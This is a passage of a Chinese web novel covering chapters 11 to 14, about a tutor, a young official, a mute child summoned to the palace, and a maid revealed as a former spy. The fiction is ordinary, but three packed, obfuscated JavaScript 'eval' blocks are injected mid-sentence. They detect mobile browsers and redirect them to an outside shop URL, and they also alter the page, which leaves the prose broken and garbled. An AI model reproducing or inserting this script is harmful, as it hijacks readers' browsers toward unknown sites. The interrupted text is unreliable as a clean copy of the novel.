“此事日后再说。” 王妈见此事谢章已不愿再追究，于是又追问道： “听府中小厮说，少爷昨日往府里带回了个……女人？” 一提到远道而来的秦英，圣上今日在御书房中那句“你不必再管”言犹在耳。 谢章捏了捏眉心，无奈道： “她随我从瓜洲一路北上，今后待她如贵客便好。” 王妈见谢章并不愿细说女子身份，心中略失落。 但她也清楚，谢章素来如此。只得道： “那……老身也先回房了。” 王妈其实并不想先回房，听了老半天墙角，什么也没听着、问着。 还有…… 她的帕子！ 她下了订的帕子！ 但多一事不如少一事，谢章如今气消了，再提帕子的事，只怕又会节外生枝。 她退了出去，为谢章掩上房门。 谢章见她远去，再次慢悠悠地，将那条王妈心心念念的合欢花手帕掏了出来。 林怀楚之事…… 左右书房中也无甚贵重之物，她应当只是误入。 自己如今回了府，若真有家贼入了书房，要查起来也容易。 至于送她回府的宋羲卿…… 算了吧。 她成日忙着教阿满，哪有余力与朝中官员有什么交集。 帕上的合欢花以茜色与银白色丝线绣成，栩栩如生。 他不敢用手摩挲，恐指尖沾了墨水，污了绣面。 是夜，谢章再次失眠了。 11. 乾清宫 刚落了一场雨，石径湿滑。 林怀楚小心翼翼地拣着干处落脚，生怕积水湿了鞋面。 轻车熟路回到琅玕院，一路上安安静静，不闻人语。 推开自己卧房的门，见那套《牡丹亭》原封不动地躺在桌面，她不禁松了口气。 阿满无书不读，若被她找见了，倒不好了。 林怀楚放下心来，将门轻轻掩上，打算去阿满房中找她。 “阿满？该上课了。” 林怀楚试探性地敲了敲房门。 等候片刻，阿满没有如往常一般踢踢踏踏地跑来开门。 也不见画屏。 林怀楚心道不妙。 照理说，阿满并不会在她不在时自己跑出门，就算阿满不在，画屏也该在房中守着的。 如今她敲门无人应，不正如阿满房中起火那夜一般？ 迟疑片刻，她推了推门。 “吱呀”一声，房门缓缓而开。 厅前空无一人。 卧房内亦然。 放眼望去，屋内如同遭了贼一般，四处皆是被翻找过的痕迹。 林怀楚方进门，不知踩到了何物，脚底一滑，忙扶着桌，稳住了身形。 低头一看，是一片碎瓷。 窗边的白瓷花瓶不何故碎了一地。 今晨刚折的凤仙离了水，如今已然萎蔫。 架上的书七七八八地散落在地，像是曾被人急不可耐地翻找。 阿满不过五岁的年纪，其房中有何重要之物？ 床上被褥亦乱成一团，其上摊着一册书。 林怀楚将其拿起，看了看书封。 其上赫然画着阿满那“朋友”的小像，正是林怀楚与阿满一同看过的那本册子。 头几页的《胭脂河记》被撕得干干净净。 阿满的失踪，应当与这册子脱不开关系。 准确地说，和她那朋友脱不开关系。 而画屏…… 先前她偷偷进入谢章书房，不知在翻找何物。 林怀楚一直将此事埋在心中，一是自己当时亦在现场，贸然说出，恐不好开脱；二是自己终究是外人，教导阿满才是她分内之事，不便插手谢府家事。 但如今，画屏亦失踪了。莫非正是她带走了阿满？ 林怀楚将册子匆匆一卷，攥在手心，片刻不敢停留，径直朝谢章书房而去。 如今阿满与画屏不知所踪，疑点重重，当务之急，是告知当家人。 一路步履匆匆，所到之处，雨水四溅。 到了书房，林怀楚发现谢章亦不见了踪影。 揪住一个过路的小丫头询问，却听对方道： “大少爷前儿不知得了什么宫里来的信，匆匆忙忙地离了书房，出了二门，想来应该是进宫去了。” 谢章怎么偏生在这关头进宫？ 何人带走了阿满和画屏？ 为何要撕去册中有关胭脂河的几页？ 这是林怀楚几个月来头一回感到不知所措。 偌大的京城，人多眼杂的谢府，当家人不在，她该去何处寻人？ 谢章坐在进宫的马车中，眼看着窗外天色一点一点暗了下去。 他出宫不过两个时辰，此刻却又因着一道秘旨，匆匆更衣，朝着皇城而去。 圣上不知为何突然宣他进宫。 莫非是回心转意了，想让他继续查那案子？ 他昨日才回京，除了瓜洲之事，圣上还能因何事召他入宫？ 谢章跟随前来迎接的宦官，过御书房而不入，而是一路兜兜转转，行至一座金殿前。 天色渐晚，各宫纷纷点起灯。 融融灯火透过雕窗，却令谢章莫名觉出些寒意。 宦官停了下来，皮笑肉不笑地对谢章做了个“请”的手势。 谢章抬眼一看，“乾清宫”三字，映入眼帘。 他从未来过此地，圣上平日召他议事，皆在御书房。 今日圣上宣他至此，意欲何为？ 甫一进殿中，便见德贵公公侍立在旁，半边脸没于阴影之中，半边脸上笑意盈盈。 “谢大人到！” 德贵公公尖声通传道。 隔着屏风，他听见皇帝在里间爽朗地笑了两声，不知在和谁夜谈。 他快步绕过屏风，走入里间，朝皇帝行了个礼： “微臣，拜见陛下。” 只闻其声，皇帝似乎心情大好： “凤飞来了？免礼。” “谢皇上。” 谢章起身抬头，看到皇帝身边坐着的二人后，只觉全身血液骤然凉了下来。 与九五之尊同塌而的，是两个女孩子。 一个年长些，周身珠光宝气，却显得有些弱不禁衣； 一个年幼些，此刻正拿手指绞着衣摆，显得有些惴惴不安。 而那年幼之人，正是阿满。 皇帝见谢章面露震惊之色，调笑道： “前阵子，许侍郎还来找过朕，说是要为自家女儿求一桩好婚事。” “朕左想右想，觉得除了谢家小子，朝中竟无青年才俊能配他女儿。但那时你尚在回京途中，只能作罢。” “本想着这是门好婚事……谁料今日一见，谢爱卿似乎连女儿都有了。” 谢章垂了头，重重跪下： “陛下，臣知罪。臣甘愿受罚。” 既然皇帝将阿满认作他女儿，不如将错就错。 皇帝见他如此，乐呵呵地问道： “凤飞不如同朕说说，你，何罪之有？” 谢章面色沉静，条分缕析，不敢有半分迟疑： “臣在外有奸，是为行止有亏；育有此女，然匿而不报，是为欺君罔上。” “臣，知罪。” “好了好了，你起来罢。明日去礼部接了印，记得顺道去户部许侍郎处上报一声，朕不罚你。” 谢章闻言，连忙谢恩： “陛下仁慈，臣感激不尽！” 皇帝明显还记着他今日那句“一日不破案，一日不去礼部点卯”之语，方才那句话，看似开恩，实则敲打。 坐在阿满身旁的贵女此刻忍不住开口道： “父皇……时候不早了，人您也见过了，您就让阿满回去吧……要打要杀，儿臣都心甘情愿。” 德贵公公在谢章身后，以气声提醒道：“这位是蕤光公主。” 谢章会意，朝蕤光公主行了个礼。 皇帝懒洋洋地靠着塌，漫不经心地说道： “凤飞，朕今日才得知，蕤光有个时常有书信往来的朋友，心中好奇这朋友究竟是谁，这才命人将贵小姐带到跟前来看看——” “凤飞不会怨朕吧？” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17450304|201168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 语气热切，目光冰冷。 谢章只能顺着他的话说下去： “陛下圣德，臣不敢怨陛下。” “那就好。”皇帝抚摸着阿满的头，一脸和蔼可亲，终于松口放人： “既然人都见过了，凤飞，带着孩子回去吧。” 说罢，摆出了长辈的架子，将阿满抱下塌。 阿满脱离束缚，如同惊弓之鸟般缩着身子，朝谢章慢慢走去。 “阿满，到爹爹这来。” 谢章牵起阿满汗津津的手，只觉触感冰凉。正欲告退，又听皇帝悠悠说道： “谢爱卿今后可得好生教养这孩子，这么大了，也该学会说话了。” 他方才欲问阿满话，谁料这孩子却一眼不发，若非蕤光公主解围，只怕难以收场。 谢章不敢怠慢：“陛下说得是，臣今后定好生教育阿满。” “那臣便先行告退了。” 待谢章和阿满出了殿门，皇帝冷声朝德贵公公吩咐道： “公主以私书出外，目无法纪；所书内容，大逆不道。” “即日禁足，无谕不得出。” 蕤光公主乖顺地跪在地上，默默领了罚，身姿摇晃，被两个宫女架了出去。 谢章牵着阿满，两人一大一小，走在宫道上。 惊魂未定。 不知阿满究竟是怎么被带进宫的，也不知皇帝究竟对她说了什么。才走了几步，阿满就站在原地不动了。 她腿软了。 眼中明明盈着泪，却还倔强地咬着唇，不让泪水落下。 谢章心中自责，却不能将她抱起，只能俯身捧住阿满的脸，柔声安慰道： “阿满乖，再走几步，就出宫了。” 偌大的皇宫，看似四下无人，实则处处是眼线。 今日皇帝一句话，就能让养在深闺、无人知晓的阿满出现在乾清宫。 若明日皇帝发现更多…… 谢章不敢想。 两人走走停停，终于出了宫门。 宫门口，谢家的马车已等候多时。 谢章看着不远处站着的人，有些惊讶。 阿满挣脱了他的手，一路小跑上去，扑到那人怀里。 “阿满乖……已经没事了。” 清越而柔和的声音在谢章耳畔响起。 来接他们的人，是林怀楚。 整个下午，林怀楚都在府中四处打听，但众人皆表示，未见到阿满与画屏，也未见到有人进出。 王妈一面派小厮在府内府外寻人，一面安慰着心焦如焚的林怀楚，见她自责不已，想让她安心些，于是随口猜测道： “林丫头，放宽心，阿满兴许随大少爷一道进宫去了，如今你我再急也无济于事，唯有等大少爷回来。” 谁料林怀楚听了她的话，越发不愿在府中干等着谢章回来，而是执意要亲自到宫门口——谢章出宫之地守着。 这是她现在能为阿满做的最有用的一件事。 她如今只能祈祷谢章出宫时带着阿满。 见出来的真是谢章与两个人，林怀楚这才松了口气，任由阿满扑进自己怀中。 怀里的人不知受了多少委屈，眼泪如决堤的江水。 谢章走近，对上林怀楚的目光。 沉默了半晌，他最终开口： “是我之过。” 12. 画屏 林怀楚揽着阿满，心中大石方落下一半，左右看去，新的疑惑随之而来。 “画屏呢？怎么不见画屏？” 她如是问道。 画屏也失踪了？ 谢章闻言，心道不妙，面色凝重地答道： “方才在宫中，只见阿满，并不见画屏。” 走出宫门，见到林怀楚的第一眼，谢章心下震惊，不知她为何会出现在此。 但随之一想，知道她定然是因为发现阿满不见了，而自己又不在府中，于是火急火燎地来此地等待，确认阿满的安危。 但谢章没想到的是，画屏亦不知所踪。 皇帝的目标只是阿满，画屏若不是遭遇了不测，那便是…… 藏匿起来了。 虽说谢府远不如皇宫这般戒备森严，但到底是人多眼杂，想从谢府悄无声息地带走一个人，实非易事。 能做到此事的，除了大内高手，便是—— 十分熟悉谢府的，“自己人”。 莫非将阿满带出谢府的，正是画屏？ 她是皇帝的眼线？ 但皇帝方才的表现，分明对阿满的身世一无所知，更像是前不久才发现阿满的存在。 而画屏，是他刚接阿满回府时，王妈从外头买回来的。 算算日子，已在谢府待了三年有余。 既然她并非皇帝的人，又怎会在这个节骨眼上不知去向？ 林怀楚看向谢章紧锁的眉心，想起自己心中的秘密，欲言又止。 阿满则死死地抿着嘴唇，仍旧一言不发。 “罢了，我明日派人在城内打听打听，看看能不能得到什么消息。” “天色不早了，林小姐，我们先带着阿满回去。” 林怀楚闻言，突然发现，自己似乎回不去了。 她来时，匆匆忙忙，是在路边拦了辆牛车，出了些银两，请人将自己送到宫门前的。 如今要回府，但天色已晚，拦不到什么牛车了，自然只能乘谢章的马车回府。 但马车只有一辆。 她身为闺塾师，依礼不能和雇主同坐于车厢内。 另一头，谢章亦在思考几人该如何乘一辆车的问题。 男女授受不亲，若皆为男子，同乘一车倒还无碍，可她…… 谢章不动声色地朝林怀楚那侧看去。 不知她正轻声同阿满说着些什么，虽垂着头，却挺直着脊背；风尘仆仆赶来此地，但鬓发仍旧一丝不苟。 谢章低头看看自己的袖子，在心中做了决定。 “林小姐，你同阿满一道上车吧，阿满还小，该有人在车内陪着。” 林怀楚以为谢章想让自己一道进车厢坐，忙拒绝道： “怀楚坐车沿就好。” “不必，你在里头守着阿满，我同四六坐车沿。” 谢章神色笃定，不容拒绝。 无法，林怀楚抱着阿满上了车。 马车开始缓缓行进。 无人发现，“失踪”了的画屏正身着夜行衣，蹲在屋檐上，静静地目送马车离去。 起了一阵风，她的衣带猎猎翻飞，几乎要与夜色融为一体。 站起身时，她突然察觉到身旁传来一声几不可察的响动。 未有片刻迟疑，她以足尖点地，一跃而出，如同一只矫健的黑猫，隐入无边的夜色。 她原先所立之处，几个黑衣人一闪而过。 长安街头，马车行得不快。 伍四六垂着左腿坐于左车沿，看着身边的主子正试图于右车沿上正襟危坐，摇了摇头，朝前头的车夫吩咐道： “劳烦再走慢些。” 瞧他家大少爷这副模样，可别一会子摔下去，被车轮给轧了腿。 时值夏日，本就是多雨的时节。 车行到一半，伍四六似有所感，伸出手，以掌心接住了几滴凉意。 下雨了。 于是命车夫停下来，自己去车箱中取蓑衣。 谢章趁伍四六去取蓑衣的间隙，在一旁云淡风轻地挪了挪屁股。 头一回坐车沿，有些硌。 车厢内，阿满枕着林怀楚的腿，沉沉睡去，不知做着什么梦，眉头紧锁。 林怀楚听见外头说下雨，愈发觉得自己贸然出府寻人不成，反而占了主人家的位置，实在莽撞。 心中过意不去，于是趁着停车，掀了车帘道： “谢大人，进来避避雨吧。” 谢章此时正在伍四六的帮助下套着蓑衣，头也不回地拒绝道：“不必。” 他们二人今日才因阿满之事争吵过一番，谢章更是一度想将林怀楚送回扬州去，本该相看两厌。 但二人此刻却出奇默契地做着同一件事。 让座。 伍四六一面帮谢章穿着蓑衣，一面忍不住腹诽： 大少爷，大老爷，想进去坐就进去吧，天黑着，谁能看见不成？ 林怀楚也是这么想的。 谢章不上车，她良心不安。 思来想去，她忍无可忍，终于下定决心，要趁着这机会将谢章叫到车上来，将画屏之事告知谢章，也算了了自己一桩心事： “请大人上车，怀楚有要事相告。” “何事？” 谢章最终还是进了车厢。 经过一番折腾，坐在车沿淋雨的又只剩下伍四六一个人。 加上车夫，两人。 “劳烦再走快些……” 伍四六有气无力地扶着车厢，对车夫吩咐道。 为什么感觉今日当差格外地累…… 车厢内。 林怀楚将那日自己误入谢章书房、画屏随之出现、画屏闻声离开的前因后果，俱述与谢章。 谢章听罢，点了点头，表示自己知晓了。 原来那日房中的合欢花帕子，是这样落下的。 如今虽得知了画屏进过自己书房翻找的消息，但他竟隐隐安下心来。 除去他的私心，至少也能确定林怀楚这与阿满朝夕相伴的人是清白的。 “不必担心，书房中虽有翻找痕迹，但并未失窃……我会让王妈重新为阿满挑选知根知底的侍女。” “林小姐，这三个月来，辛苦了。” 林怀楚扭过头去，见谢章一脸真诚，心里倒觉得有些不好意思。 他虽向自己道了谢，但许多事，纵她再出力，也终究是白忙活，仅凭自己，根本无力应对。 比如今日，阿满失踪。 她自知是外人，也自知这些事并非她分内之事，但一日为师，终身为亲，她早已把阿满看作了亲人，又怎会觉得辛苦。 她本还担心谢章会认为自己多管闲事，谁料，对方却如此郑重地向自己道谢。 “谢大人不必谢我。”林怀楚微微一笑，低头看向阿满的睡颜。 梦魇似乎已经散去，阿满在睡梦中甜甜地笑了。 几句话说罢，两人再无话说，只能沉默 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17450305|201168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地等待回府。 马车外，疾风骤雨在伍四六脸上无情地拍打。 众人回到府中，谢章将林怀楚与阿满送至二门前。 “我已吩咐王妈，今夜先临时派府中信得过的老人来照顾阿满，林小姐可放心歇下。” “好。”林怀楚点头。 身边的小丫鬟试图将阿满从她怀中接过，但林怀楚摇了摇头。 阿满还睡着，将人接来递去的，只怕要醒。 将人送回房后已不知什么时辰。林怀楚只觉浑身酸痛，洗漱过后，打算好好睡上一觉。 外头的雨，越下越大。 身在屋中，却仿佛置身雨幕，四壁皆闻雨声，时不时伴随着几声沉闷的雷鸣。 林怀楚侧躺在床，睡意即将没过她的头顶。 半梦半醒之际，她听到了敲门声。 “咚、咚。” 不轻不重的两声，但在铺天盖地的雨声中却显得格外清晰。 林怀楚从床上坐起，循声看去，不敢贸然开门。 “咚、咚。” 又是两声。 那人似乎不愿离去。 “咚、咚。” 又是两声。紧接着，一声惊雷在林怀楚耳畔炸响，电光入室，照得她房中一瞬间亮如白昼。 外头的人，究竟是谁？ 林怀楚冷汗岑岑，努力压下心头的恐惧，光脚走到门前，正欲出声询问。 谁料门外那人却先她一步开口： “是我。” 那声音，熟悉，却低哑。 门外人是画屏。 见林怀楚仍不愿开门，画屏咳嗽了两声，嗓音中多了几分不耐： “林小姐，再不开门，我可要死在外头了。别多想，我不会害你命。” 林怀楚记忆中的画屏，与阿满一样的寡言少语。 但至少还会同她们说话，就是有些惜字如金。 寡言少语，只会闷头做事，时不时偷些懒，怎么看，都像是个再普通不过的丫鬟。 谁曾想，如今的她，似乎才是真正的她。 林怀楚最终还是开了门。 一开门，画屏便软绵绵地倒了过来。 林怀楚忙将人扶住。 不知冒雨行了多久，她浑身湿透，发梢如同滴漏般不住地往下滴水。 林怀楚扶着她在一张椅子上坐下，想她倒杯茶。 手触上白瓷茶杯，竟在杯壁留下一抹红。 林怀楚摊开双手，发现十指竟沾满鲜血。 画屏瘫在椅背上，半睁着双目看向林怀楚。 见她突然看向自己的掌心，面露惊恐之色，画屏气若游丝地笑道： “不好意思啊，雨太大，血越流越多。” “你若嫌弃的话，可以到我衣服上擦擦。” 林怀楚瞥了她一眼，一言不发。 伤成这样了还贫嘴。 她迅速为画屏倒了杯茶，递到她手里，开门见山道： “你今日为何要带走阿满？” “你究竟是什么人？” 画屏斜着嘴吹了吹茶，迫不及待地啜饮一口，结果被烫得龇牙咧嘴。 她从容不迫地舔了舔自己被烫红的嘴唇，一脸无辜地回答道： “第一，阿满不是我带走的。” “第二……我是什么人？” 她回答这问时，颇认真地想了一想，最后笑眯眯地开口： “我？当然是女人啊。” 13. 画屏与阿满 画屏此言一出，林怀楚没好气地将一条干帕子往她脸上一扔： “你若不愿好好说话，那就别怪我送客了。” 画屏揭下脸上的帕子，用力地擦了擦自己仍在滴水的头发，一脸无辜道： “别啊，求你了——” 林怀楚并不理会她，在房中寻到块用不着的布，“嘶啦”一声，将其撕成布条。 画屏知道她有心帮自己，不会真将自己赶走，于是优哉游哉地翘起一条腿，就连自己也未曾察觉，自己眼底浮起一层笑意： “好吧，那我便与林小姐坦诚相待。” “画屏这俗里俗气的名字是王妈给取的。” “我叫孟回云。” 建康城破那日，孟回云发现，自己并不如预想的那般轻松、释然。 潜伏大燕多年，她终于大仇得报，昔日仇敌如同大火中的蝼蚁，四处窜逃。 大夬国君念她有功，将她宣到御前，赐了她一块玉牌。 具体封了她什么官，她忘了。只记得又赏了好些钱。 铡刀落下前的君恩总是格外浩荡。 她腰间挂着玉牌，在一片狼藉的建康街头晃晃悠悠地走着。 沿街的铺子大多都被打砸过了，已经没什么油水可捞。 当地富户亦朱门大开，门庭萧索。都不消她进去看，便知道里头定然也都被搬空了。 她漫无目的地走，偌大的建康，似乎没有地方可去。 直到她远远地瞧见了宫殿的金檐。 那里是她以前当差的地方。 行吧，左右无事，那就再回去转转。 宫里头这时候还乱着，大燕禁军及城南赶来的援军至今仍在负隅顽抗，处处可闻兵刃相接之声。 虽地上人杀得凶，但她仗着自己轻功好，行在檐上，一路畅通无阻，如入无人之境。 四处转了转，感觉宫里头也没什么意思。 大夬兴的是军功授爵那一套，光是闷着头拼杀还不够，需得留下些凭据，带着凭据去讨赏。 比如现在。 大夬的兵渐渐占了上风，杀红了眼，开始满地找头，四处争头。 “头”，就是论功行赏的凭据。 昔日宝马香车频频而过的宫道，一时间如同菜市口一般，有罪的血，无罪的血，遍地横流。 如今这帮大夬兵是杀得痛快了，但…… 今日之大燕，明日之大夬。世事浮沉，总让人没有久留之处。 孟回云摇摇头，继续向前走。 越往里走，反而越是安静，只有些大夬军在四处搜查余党。 能跑的人早都跑完了，不能跑的，只能找地方躲着，能拖一时是一时。 比如，前头那条窄巷里，就藏着三个人。 三人缩在角落里，皆身着华服，应当是皇室宗亲。 为首的女人紧紧护着怀中的两个孩子。 藏在这种地方，早晚会被找到吧。 果不其然，远远地，两个兵来到了永巷口。 两人似乎都累了，任由刀尖落在地上，一路拖行。 寒铁碰上砖石，发出将死之人的呻吟。 这催命符一般的声音，巷子里躲着的三个人，听得一清二楚。 但那两个兵突然停下了。 “大哥，这条巷子咱俩是不是来过了？”其中一人问道。 “你问我，我咋知道？这宫里巷子那么多。”另一人有气无力地回答道，应当是累了。 两人继续朝前行了两步，左右看了看，最后一致认为这巷子里已经找过了。 本想就此原路返回，却突然听到前头有人声传来。 女人怀中那个大些的男孩子，突然狠狠地将她推开。 “暴君当道，妖妃祸国，你们造的孽，为何让我们来还！” 他此刻已全然不顾自己是否会被发现，语气尖利，目眦欲裂。 想来是快被那催命一般的刀刃拖行之声给逼疯了。 孟回云坐在屋檐上，两头的声音都能听得一清二楚，此刻不禁扶了扶额。 还好还好，差一点就让他给逃过去了。 此刻，便是傻子也知道巷子里藏了人。 两个大夬兵相视一眼，提了刀，继续往前走。 听见来人的脚步渐渐地近了，那女人似乎下定了什么决心，将两个孩子往角落深处死命推了推，自己踢掉脚上的鞋，快步从角落跑了出去。 这是想拿自己的命，换孩子的命。 最后一刻，孟回云看清了她的脸。 一张熟悉的、倨傲的脸，一张妖艳的脸。 她迎上无情的刀口，软绵绵地倒下。 一代“妖妃”，殒命于永巷。 两个兵见她身着华服，便知道这必然是个有头有脸的人物，想到自己可能拿到的封赏，喜不自禁。 其中一人发觉不对，挠了挠头：“大哥，方才那声音，听着像个男的。” 另一人踹了他一脚：“你笨啊！我怎么可能没听出来！走啊，里头肯定还有人。” 孟回云也不知自己当时到底怎么了，手脚突然不听使唤一般，从屋檐上一跃而下，出现在两人跟前。 “两位大哥？别怕，我是自己人。” 她说着，亮了亮自己腰间的玉牌。 “我听闻，这宫里的金山银山，随手抓一把，都能躺在铜钱堆里过一辈子了。大哥们在此地作甚？”她佯装好奇道。 两个兵见了她的玉牌，知道她是个有身份的人，于是表面上装着客气，耐着性子同她说话： “哪有这样好的事！宫里的金山银山，拿了便要掉脑袋。”其中一人嘟囔道。 “对咱们打仗的人来说，金银，咱们没命拿，要说值钱……还得是这个。”另一人一边说着，一边做了个抹脖子的动作。 孟回云呵呵一笑，拍了拍掌：“原来如此，原来如此。” 她耳力、目力极佳，只用余光瞟去，便知道那角落里的两人正在推推搡搡。 似乎是那个大孩子想要独活，便要把另一个推出来为自己挡刀。 她本想着，救人两命，胜造十四级浮屠，谁料自己要救的人却是这么不上道。 那便不救了。 孟回云眯眼笑着，将手往身后一指： “喏，你们要找的‘值钱货’，就在后头呢。两位大哥得了我的信，回头论功行赏时，可别忘了我啊。” 两个兵装模作样地谢过她，但在经过她后，立马就变了脸色，嘴里不干不净地骂了两句：< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17450306|201168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “呸！长舌妇人，多管闲事。” 他们自诩是跟着自己主子出生入死的老人，劳苦功高，看不起孟回云这年纪轻轻却有头有脸的女人。 自以为声音极低，不会被听到。 但很快，两把匕首如风而至，干净利落，抹了他们的脖子。 孟回云收回双手，十指一松。 两把殷红的匕首“铛”地一声落了地。 她素来随性，行善还是作恶，不过看自己高兴。 抹了一把脸上的血，她慢慢收了笑容，刻意放重了脚步，晃晃悠悠地走向两个孩子藏身的角落。 一脚将那大些的男孩子踢开，一手提起那女孩子的后领。 那女孩子看着不过一两岁的年纪，却比狸奴还轻。 许是自己脸上的血还未擦干净，她望向自己的眼神，满是仇恨与惊恐。 孩子在她掌心不停地挣扎，磕磕绊绊地说道： “放开……放开！你这反……反贼！人人得而诛之！” 孟回云冷眼看着自己刚刚救下的仇人之子。 刚刚学会说话的年纪，像条丧家的小犬一样不停地扑腾、挣扎，试图咬她、踢她，仿佛她是那个害她国破家亡的人似的。 虽然她还真是。 但她也明明是被自己救了吧。 孟回云毫不客气地如拎小鸡一般拎着她，走到两个大夬兵尸身横陈之处。 “看看，多嘴的人，就是这个下场。” 孟回云冷眼看着女孩拼命挣扎，眼中毫无怜惜之情。 “方才跑出去那人，是你娘吧？” “她死了。” “若不是你那哥哥乱喊乱叫，你们三个，都能活。” “而你，不论你愿不愿意，我都要带你走，让你一个人活下去。” “不过——我很不喜欢你这张嘴。” 孟回云用指尖残留的血，带着些恶趣味，在她嘴上画了个叉。 方才还在挣扎的孩子闻言慢慢地软了下来。 她遥遥朝母亲的方向望去，豆大的眼泪，一滴一滴，落在未干的砖石地上。 孟回云如今早已忘记了自己当初是怎么想的了。 她带走了那个孩子。 她果然如自己所希望的一般，不再“多嘴”，再也没说过话。 孟回云随意了大半辈子，但就连自己也没想到，有朝一日，她会愿意用命去保护这个孩子。 收回思绪，她突然剧烈地咳了起来，将一旁准备为她上药的林怀楚吓了一跳。 “你放才在想什么？”林怀楚退后两步，警惕道。 孟回云微微一笑：“在想，你真好。” 林怀楚忍无可忍，将金疮药与布条往她身上一扔，自己洗了洗手，躺在床上，一卷被子： “我明日还要给阿满上课，先睡了。你收拾好就走吧，你既然不是正经丫鬟，谢府如今也容不下你。” “阿满……哼。”孟回云脱了半边袖子，三下五除二地为自己上好药，随即站起身，将杯中茶饮尽。 走到门口，雨还在下，孟回云左看右看，相中了门边那把月白色的油纸伞。 “林小姐，借伞一用——” 话毕，孟回云拉开门，消失在夜色中。 14. 至乐 不知昨夜的雨究竟是何时停的，今日晨起，走入院中，犹闻泥土腥气。 几行翠竹如同被洗过一般，似是比昨日更坚劲了。 昨夜雨疏风骤，但忘了将窗关严实，是而，窗边桌上摆着的几册书皆被雨淋了。 林怀楚心疼不已，想将那些遭雨淋了的书都摊开来晒一晒，遂搬了张椅子出来，立于檐下，垂着头，小心翼翼地将黏连的书页一点点分开。 一滴雨从瓦间滑落，猝不及防，恰好滴在她后脖颈上。 她被凉得一激，抬头朝屋檐看去，无奈地将放书用的椅子往里移了移。 “林丫头，早啊——” 王妈带了个高高壮壮的女孩子，迈着碎步进了琅玕院。 “这是夏桑，今后便由她来照顾阿满的日常起居。” “夏桑，快过来见过林小姐。” 夏桑大大方方地走上前，朝林怀楚露齿一笑： “林小姐好啊——” 林怀楚上下打量了她一番，突然伸出手去，拉住夏桑的手，满脸热情道： “不愧是王妈选的人，真是一表人才！” 夏桑忙要将手抽回去，但已经迟了。 林怀楚以右手食指在她掌心摸索一番，一下子就摸到了条硬邦邦的血痂。 昨夜，画屏——准确来说，是孟回云——在她房中时，左摸摸，右看看。 今早她收拾卧房，发现好些东西上都留了血痕，气得不打一处来。 又随之一想，此女断然不会就这么轻易离去，说不定会换个身份回到谢府。 果不其然。 林怀楚冷眼看向正朝她拼命使眼色的“夏桑”。 王妈摸着下巴，似乎对自己选的人格外满意。忽然，她想起了什么，和林怀楚商量道： “林丫头，大少爷先前不是说想旁听你授课？要不，今日就把他叫到琅玕院来听你讲？” 王妈如今想起昨日，谢章要将人送回扬州的话，依旧心有戚戚。 她打心底里希望林怀楚留下，生怕谢章哪根筋不对了，又要变卦。 于是积极地替林怀楚出主意，想让谢章对她更满意些。 “好啊。”林怀楚一口应下。 “不过，大少爷酉时才下值，不如今日把阿满下午要学的功课推到晚上？下午给她放个假，你说好不好？” “就按王妈的意思来。”林怀楚点点头，连连应道，实则心乱如麻。 王妈走后，她将“夏桑”拉到一旁，不由分说地厉声斥道： “孟回云，你究竟想做什么！” “昨日你受了伤，我不愿趁人之危，并未声张。但你为何还想着混进来？” 她自称阿满并非她带走的，但种种行迹，实在可疑。 “你告诉我，你到底想要什么。”林怀楚不自觉地收紧了捏在孟回云肩上的手。 “别捏了，我疼——” 孟回云一脸委屈道： “我都说了我不害人，京城米贵房贵的，你让我走我就走啊？人嘛，总要有份差事……” “我这不是给自己找差事来了吗？” 林怀楚气极反笑：“所以你就给自己换了张脸？” 合着这谢府里的差事都是金饭碗呗！ “你要找差事，我不拦你。” “但你若是再敢偷半分懒，我会立马告发你。” 林怀楚警告般地剜了她一眼，甩开孟回云，独自进了阿满房中。 孟回云一见人走了，便吊儿郎当地往柱子上一靠，从怀中掏出一本自己先前在路边买到的一本《绝世剑谱》。 “绝世剑谱第一式，并起二指。” “第二式，在竹树前，以二指向前劈砍。” 孟回云照做了，冲院中的竹树，以二指劈过去。竹树纹丝不动，唯有竹叶纷纷而落。 “第三式，将劈落竹叶衔与口，剑道可大成。” 孟回云：“……” 什么破书。 谢章新官上任，整整一日，都在忙着处理公文、会见来客。 最累的还数会见来客。 光是来贺喜的就有好几十人，他偏又不善言辞，翻来覆去就一句话： “多谢。” 回到府中，已近黄昏。 他只觉头痛欲裂，昏昏沉沉地更了衣，草草用了饭。 那一头，王妈又派人来请： “大少爷，林小姐请您去琅玕院中听课。” 伍四六看着自家少爷全无血色的脸，体贴地想替他回绝： “少爷累了，就不……” 伍四六话音未落，便被谢章抢了话： “我去。” 伍四六默默地看着自家少爷回到卧房，给自己又换了身衣服。 是他的错觉吗，半个时辰前不是才换过？ 是夜，林怀楚从架上取下一本《庄子》，坐到阿满身侧。 谢章另坐一桌，预备一面旁听，一面处理公文。 